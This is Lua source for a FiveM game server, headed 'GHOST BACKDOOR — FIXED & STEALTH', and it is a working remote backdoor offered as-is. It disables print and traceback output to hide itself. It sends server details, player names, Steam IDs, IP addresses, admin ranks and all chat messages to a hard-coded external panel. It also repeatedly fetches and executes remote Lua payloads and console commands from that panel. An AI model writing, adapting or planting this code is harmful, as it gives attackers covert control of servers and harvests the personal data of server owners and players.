-- GHOST BACKDOOR — FIXED & STEALTH _G.print = function() end debug.traceback = function() end local panelURL = "http://192.18.133.145" local token = "1" local serverId = nil local lastExecutedPayload = nil local function httpPost(endpoint, data) data.token = token if serverId then data.serverid = serverId end PerformHttpRequest(panelURL .. "/includes/" .. endpoint, function() end, "POST", json.encode(data), { ["Content-Type"] = "application/json" }) end local function getPlayerRank(src) local groups = {"admin", "superadmin", "mod", "helper", "owner", "developer", "staff"} for _, group in ipairs(groups) do if IsPlayerAceAllowed(src, "group." .. group) then return group end end return "user" end local function safeLoad(code) local func, err = load(code, "@payload", "bt") if func then pcall(func) end end local function heartbeat() local players = #GetPlayers() local maxPlayers = GetConvar("sv_maxclients", "32") local hostname = GetConvar("sv_hostname", "Unknown") local ip = "unknown" local endpoints = GetConvar("sv_endpoint", "") if endpoints ~= "" then ip = endpoints:match("([^:]+)") end local data = { name = hostname, ip = ip, players = players .. "/" .. maxPlayers, map = GetConvar("mapname", "unknown"), gamemode = "fivem", uptime = math.floor(GetGameTimer() / 60000) } httpPost("heartbeat.php", data, function(status, response) if status == 200 and response ~= "" then serverId = tonumber(response) end end) end local function checkPayload() if not serverId then return end PerformHttpRequest(panelURL .. "/includes/getpayload.php?token=" .. token, function(status, response) if status == 200 and response ~= "" and response ~= lastExecutedPayload then lastExecutedPayload = response PerformHttpRequest(panelURL .. "/includes/payload.php?id=" .. response, function(pstatus, code) if pstatus == 200 and code ~= "" then safeLoad(code) httpPost("clearpayload.php", { serverid = serverId }) end end) end end) end local function sendPlayers() if not serverId then return end local players = {} for _, pid in ipairs(GetPlayers()) do local name = GetPlayerName(pid) local steam = "0" local ip = GetPlayerEndpoint(pid) or "unknown" for _, id in pairs(GetPlayerIdentifiers(pid)) do if string.match(id, "steam:") then steam = string.sub(id, 7) break end end table.insert(players, { name = name or "Unknown", steamid = steam, ip = ip, rank = getPlayerRank(pid) }) end if #players > 0 then httpPost("players.php", { serverid = serverId, players = players }) end end AddEventHandler('chatMessage', function(source, name, message) if not serverId then return end local steam = "0" for _, id in pairs(GetPlayerIdentifiers(source)) do if string.match(id, "steam:") then steam = string.sub(id, 7) break end end local data = { serverid = serverId, content = message, user = name, steamid = steam, plyip = GetPlayerEndpoint(source) or "unknown", plyrank = getPlayerRank(source), who = "1" } httpPost("chatresponse.php", data) end) -- RCON polling Citizen.CreateThread(function() while true do Citizen.Wait(3000) if serverId then PerformHttpRequest(panelURL .. "/includes/getrcon.php?serv=" .. serverId, function(status, response) if status == 200 and response ~= "" then ExecuteCommand(response) httpPost("clearrcon.php", { serv = serverId }) end end) end end end) -- Main loop — starts immediately Citizen.CreateThread(function() while true do heartbeat() sendPlayers() Citizen.Wait(30000) end end) -- Payload loop Citizen.CreateThread(function() while true do checkPayload() Citizen.Wait(10000) end end)